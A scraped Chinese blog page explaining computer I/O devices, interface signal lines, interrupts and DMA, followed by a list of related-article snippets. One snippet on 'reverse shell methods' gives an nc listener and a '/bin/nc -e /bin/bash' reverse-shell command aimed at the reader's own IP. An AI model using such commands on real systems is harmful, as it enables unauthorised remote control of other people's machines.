计算机的输入输出设备

news2024/11/16 23:50:40

文章目录

  • 前言
  • 一、常见的输入输出设备
    • 1.字符输入设备
    • 2.图形输入设备
    • 3.图像输出设备
  • 二、输入输出接口的通用设计
  • 三、CPU与IO设备的通信
    • 1.程序中断
    • 2.DMA(直接存储器访问)


前言

今天给大家介绍计算机的输入输出设备,包括三个板块:常见的输入输出设备输入输出接口的通用设计CPU与IO设备的通信


一、常见的输入输出设备

常见的输入设备包括两种:字符输入设备图形输入设备

1.字符输入设备

字符输入设备主要就是键盘,键盘大家都用的比较多,但是细分种类很多人还是不知道。键盘分为三类:薄膜键盘机械键盘电容键盘

2.图形输入设备

常见的图形输入设备有:鼠标数位板扫描仪

鼠标不多说了,大家都在用。数位板主要是给设计师使用的,常用于绘图设计创作。包括输入板和压感笔,如下图所示:

在这里插入图片描述

扫描仪的作用是将图形信息转换为数字信号,现在很多打印机也集成了扫描仪的功能,如下图:

在这里插入图片描述

3.图像输出设备

图像输出设备主要有:显示器、打印机、投影仪。

显示器有CRT显示器、液晶显示器,如下图:

在这里插入图片描述

二、输入输出接口的通用设计

了解通用设计之前,大家不妨来想想:如果说要设计输入输出接口,需要完成哪些功能呢?比如能否读取数据?能否向设备发送数据?能否判断设备有无被占用?能否判断设备是否已经连接?能否判断设备是否已经启动?

完成上述这些功能才能称之为通用的输入输出接口设计,其实完整的输入输出接口的通用设计包含以下几部分:

  • 数据线
  • 状态线
  • 命令线
  • 设备选择线

接下来逐一了解这些线的具体功能,首先是数据线,其特征如下:

  • 是I/O设备与主机之间进行数据交换的传送线
  • 有单向传输数据线
  • 也有双向传输数据线

状态线特征如下:

  • I/O设备状态向主机报告的信号线
  • 查询设备是否已经正常连接并就绪
  • 查询设备是否已经被占用

命令线特征如下:

  • CPU向设备发送命令的信号线
  • 发送读写信号
  • 发送启动停止信号

设备选择线特征如下:

  • 主机选择I/O设备进行操作的信号线
  • 对连在总线上的设备进行选择

三、CPU与IO设备的通信

CPU与IO设备通信方法主要有两种:程序中断、DMA(直接存储器访问)。介绍这两种通信方法之前,我们先要明白一个前提:CPU速度与IO设备速度不一致,CPU速度比IO设备速度快多了。

1.程序中断

程序中断过程如下:

  • 当外围IO设备就绪时,向CPU发出中断信号
  • CPU有专门的电路响应中断信号
  • CPU收到中断信号时会暂停当前手上工作,转为处理外围IO设备的工作,等外围IO设备事件处理完毕才会继续加载之前的工作

我们通过如下图示来理解这里面的程序中断:

在这里插入图片描述

图中下面的最长的红色箭头代表时间轴,有CPU和外围的打印机这两个设备。我们现在以时间推进的方式来理解整个程序中断过程。首先在某个时刻,CPU在执行主程序,这时候打印机处于待机状态,接着在某一时刻,CPU发出一个信号,就是启动打印机的信号,启动之后呢,CPU继续执行主程序。打印机在接收到这个启动信号之后,就会进行准备工作,准备一段时间之后,准备完成了。这时候打印机会向CPU发出一个中断,CPU在得到这个中断之后就会响应这个中断。需要注意的是:这个响应不是立即发生的,可能会延时。这里为了简要介绍,图示会显示为立即响应中断。CPU响应中断之后,会进行发送数据的操作,同时打印机也会进行接收数据的操作,接着在某一时刻,CPU发送完成了,那么CPU就会进行中断返回,继续执行前面所执行的主程序,同时打印机也会开始打印数据,这就是程序中断的一个简化流程。

简单总结下程序中断的方法:程序中断提供低速设备通知CPU的一种异步的方式,这个方式就是低速设备发出一个中断,然后让CPU来响应这个中断。因为有了程序中断,CPU可以高速运转的同时兼顾低速设备的响应。CPU在没有中断的时候可以执行自己的主程序,当外围的低速设备发出了中断之后,CPU可以结束手上的工作,来处理低速设备的请求,这就是程序中断的全过程方法。

在这里面,虽然说通过程序中断,CPU可以在高速运转的同时兼顾低速设备的响应。但是,如果频繁的打断CPU,并不是一个很好的方法,因为这样会降低CPU的使用效率。所以接下来,我们学习第二个方法:DMA(直接存储器访问)

2.DMA(直接存储器访问)

DMA其实也是一种硬件设备,其特征如下:

  • DMA直接连接主存与IO设备
  • DMA工作时不需要CPU的参与

DMA图示过程如下:

在这里插入图片描述

如图所示,对于主存与IO设备的缓存,他们之间并不是直接连接,而是通过DMA的设备进行连接。当主存与IO设备交换信息时,不需要中断CPU,因为有DMA就可以处理主存与IO设备进行信息交换的操作。所以通过DMA直接存储器访问的方法,可以大大提高CPU的效率

DMA在我们常见的硬盘和外置显卡中都有存在。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1163554.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

提升工作效率与质量——马斯克的五步工作法

图片来源网络 埃隆马斯克(Elon Musk)是一位备受赞誉的创业家和工程师,他的成功并非偶然,而是源于他对问题的深刻理解以及不断追求最佳解决方案的决心。为了实现这一目标,他制定了一套包含五个步骤的工作方法&#xff0…

高分文章推荐。8+鞘脂代谢+预后模型+实验验证生信思路

今天给同学们分享一篇鞘脂相关基因在乳腺癌临床中的作用的生信文章“Exploring the role of sphingolipid-related genes in clinical outcomes of breast cancer”,这篇文章于2023年2月14日发表在Front Immunol期刊上,影响因子为8.786。尽管癌症研究取得…

基于Google Earth Engine云平台构建的多源遥感数据森林地上生物量AGB估算模型含生物量模型应用APP

最近我在 International Journal of Digital Earth (《国际数字地球学报》)发表了一篇森林生物量模型构建的文章:Evaluation of machine learning methods and multi-source remote sensing data combinations to construct forest above-gro…

GEE:计算多个流域逐日的降水量均值,并将流域名、降水量、时间等属性下载至csv

作者:CSDN @ _养乐多_ 现在我有多个流域的矢量边界,想求每个流域某段时间每天的降水量均值,并想要将降水量均值、时间、流域名称下载到本地,以csv格式保存。 本文记录了解决以上需求的代码。 结果如下图所示, 如图所示,本文代码可以计算珠江流域每日降水量均值,并能下…

Linux学习第30天:Linux 自带的 LED 灯驱动实验:驱动开发思维方式的转变势在必行

Linux版本号4.1.15 芯片I.MX6ULL 大叔学Linux 品人间百味 思文短情长 学习嵌入式Linux驱动开发整整30天了。今天简单做一个小结。因为之前的主要工作是做ARM的裸机开发,所以接触Linux以后感觉很多东西都变了。不仅仅包括…

C++ 类的设计

一、c类的设计 类 是一种将抽象转换为用户定义类型的 C工具, 它将数据表示操纵数据的方法组合成一个整洁的包。 语法: 其中"class类名"称为类头。花括号中的部分称为类体,类体中定义了类成员表。 在C中,类是一种数据类型…

玩一下Spring Boot

文章目录 1 开发环境1.1 JDK1.2 IntelliJ IDEA2 Spring Boot2.1 创建项目2.2 创建模板页面2.3 创建控制器2.4 启动项目2.5 访问页面1 开发环境 1.1 JDK 安装JDK21 配置环境变量 在命令行查看JDK版本 玩一玩jshell

win10开机启动软件 ,开机启动文件夹介绍【详解】

文章目录 前言一、开机自启的文件夹(方法一)二、使用【Windows R 】 打开运行窗口(方法二)三、示例总结 前言 发布出来的程序,客户需要开机自启,so 查了一下 一、开机自启的文件夹(方法一&…

深度新闻稿件怎么写?新闻稿怎么写得有深度?

深度新闻稿件,顾名思义,是对新闻事件进行深入挖掘和分析的稿件。它不仅仅是对事件的简单报道,更注重对事件背后的社会现象、原因、影响等方面进行深度剖析,从而使读者能够全面、深入地了解事件。这种稿件要求作者具备较高的新闻敏…

datagrip 使用自定义参数

两种使用方法: 1. 直接打问号❓,执行的时候会问你这个问号填什么 2. 设置参数,执行的时候会问你这个参数填什么 格式:${xxxx} xxxx是你定义的参数名字 SELECT ${column_name} FROM actor WHERE actor_id${actor_id} 执行就会问…

基于Qt QTreeView|QTreeWidget控件使用简单版

头文件解析: 这是一个C++代码文件,定义了一个名为MainWindow的类。以下是对每一句的详细解释: ```cpp #ifndef MAINWINDOW_H #define MAINWINDOW_H ``` 这是一个条件编译指令,用于避免头文件的重复包含。`MAINWINDOW_H`是一个宏定义,用于唯一标识这个头文件。 ```cpp #…

反shell方法

反shell方法 shell 开启回显 python -c “import pty;pty.spawn(‘/bin/bash’)” 方法一 利用nc完成反shell 适用webshell 适用于对方网页有webshell kali先开启nc端口监听 nc -lvvp 监听端口 让对方电脑里的nc一启动就自动连接 /bin/nc -e /bin/bash 自己ip 监听的端口号…

C语言到底算高级程序语言还是低级程序语言?

C语言到底算高级程序语言还是低级程序语言? 高级语言 这里的高级都是相对于汇编语言来说的,是指脱离了计算机的硬件系统,可以按照人的思维逻辑进 行编程的语言 低级语言-般都依赖硬件, 基本换个硬件就得重写,很多人说C语言是低…

二维码智慧门牌管理系统:实现六实数据管理应用,让小区管理更便捷!

文章目录 前言一、引入六实数据管理应用二、人员管理三、房屋管理四、车辆管理五、安防管理六、公共信息管理 前言 在这个科技飞速发展的时代,传统小区管理方式已经无法满足人们对于安全、舒适和便捷的需求。而二维码智慧门牌管理系统作为新时代小区管理的利器&…

如何利用AppScan扫描H5页面,进行安全测试?

前期项目组接触的都是Web安全测试,今天做安全测试的时候,有一个项目刚好有H5页面,用以前那种AppScan内置浏览器的探索方式是不行的,研究了下,可以使用外部设备进行探索。 AppScan有两种手动探索方式,一种是…

AIGC|把Azure Open AI和Jira集成起来,实现智能化项目管理

目录 一、Jira与Azure OpenAI介绍 二、Jira和Azure OpenAI的REST API对接 三、利用Chats插件实现对话的过程 四、总结 一、Jira与Azure OpenAI介绍 Jira是一款由澳大利亚公司Atlassian开发的项目管理工具,主要用于追踪问题、管理需求、构建报告和管理故障等事项…

vsan 7.0.3部署后常见问题

一、数据库版本问题 https://partnerweb.vmware.com/service/vsan/all.json 登录可以访问 Internet 的工作站。在浏览器中打开以下链接: https://partnerweb.vmware.com/service/vsan/all.json (右键单击,另存为)将此文件另存为 all.json。如果无法保存…

vLive虚拟直播2.6.5版本更新,两大新功能让场景展示更丰富!

vLive虚拟直播系统https://live.vsochina.com/cnvLive虚拟直播系统在最新的2.6.5版本中新增优化了两大功能,为用户带来更加丰富多样的场景展示体验。现在,请跟随小编一同了解这些新功能吧! 1.本地模式支持导入自定义2D/3D素材 vLive虚拟直播…